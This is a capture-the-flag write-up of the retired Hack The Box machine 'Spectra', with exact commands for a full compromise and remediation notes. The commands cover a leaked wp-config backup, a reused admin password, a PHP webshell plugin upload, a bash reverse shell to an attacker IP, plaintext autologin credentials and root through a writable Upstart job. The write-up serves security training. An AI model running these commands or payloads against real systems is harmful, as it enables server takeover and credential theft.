Spectra
Summary
I scanned the target and found an nginx server (PHP 5.6.40) hosting a live WordPress site at spectra.htb/main/ and a second testing installation at spectra.htb/testing/. Directory listing on the testing path exposed a plain-text database-configuration backup file (wp-config.php.save) that contained the database password in clear text.
That password had been reused verbatim as the WordPress administrator account password, giving full admin-panel access without any brute-force. From the admin panel a malicious PHP plugin was uploaded and activated, producing arbitrary command execution as the web-server process user.
A plaintext autologin credential file readable by that web-server user exposed the local account katie's SSH password ([REDACTED: recovered credential]). Logged in over SSH as katie, a passwordless sudo rule permitted running initctl, and the /etc/init/ Upstart job directory was writable by katie's group — writing a one-line command into an existing job file and invoking sudo initctl start executed it as root, completing the compromise.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sC -sV -p22,80,3306 $TARGETecho "$TARGET spectra.htb" | sudo tee -a /etc/hostscurl -sI http://spectra.htb/main/Exact commands 2
curl -s http://spectra.htb/testing/curl -s http://spectra.htb/testing/wp-config.php.save | grep -E "DB_NAME|DB_USER|DB_PASSWORD|DB_HOST"FixRemove web-accessible configuration backup files and disable directory listingCritical
Exact commands 2
curl -s -c /tmp/wp_cookies.txt -b 'wordpress_test_cookie=WP+Cookie+check' -X POST 'http://spectra.htb/main/wp-login.php' -d 'log=administrator&pwd=$PASSWORD2&wp-submit=Log+In&redirect_to=%2Fmain%2Fwp-admin%2F&testcookie=1' -Lcurl -s -b /tmp/wp_cookies.txt 'http://spectra.htb/main/wp-admin/' | grep -Eo 'Dashboard|Howdy,'FixUse unique, independent passwords for every account — never reuse database credentialsHigh
Exact commands 3
mkdir -p /tmp/spectra-cmd && printf '<?php\n/**\n * Plugin Name: Spectra CMD\n * Version: 1.0\n */\nif(isset($_GET["cmd"])){ system($_GET["cmd"]); }\n' > /tmp/spectra-cmd/spectra-cmd.php && cd /tmp && zip -r spectra-cmd.zip spectra-cmd/curl -s -b /tmp/wp_cookies.txt -F 'pluginzip=@/tmp/spectra-cmd.zip' 'http://spectra.htb/main/wp-admin/update.php?action=upload-plugin' -Lcurl -s 'http://spectra.htb/main/wp-content/plugins/spectra-cmd/spectra-cmd.php?cmd=id'FixDisable the WordPress plugin upload interface on production sitesCritical
Exact commands 2
tmux new-session -d -s rsh 'nc -lvnp 4444'curl -s --get --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"' 'http://spectra.htb/main/wp-content/plugins/spectra-cmd/spectra-cmd.php'Exact commands 2
find / -name 'autologin*' -readable 2>/dev/nullcat /etc/autologinFixRemove plaintext credentials from the autologin configuration fileCritical
Exact commands 2
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null katie@$TARGETcat ~/user.txtExact commands 6
sudo -lls -la /etc/init/test10.confcp /etc/init/test10.conf /tmp/test10.conf.bakprintf '%s\n' 'description "root read"' 'author "katie"' 'start on filesystem' 'script' ' cat /root/root.txt > /tmp/root_flag.txt' 'end script' > /etc/init/test10.confsudo /sbin/initctl start test10cat /tmp/root_flag.txtFixRemove unrestricted sudo initctl access and lock Upstart job file ownership to rootCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.1 (protocol 2.0) |
| 80/tcp | http nginx 1.17.4 |
| 3306/tcp | mysql |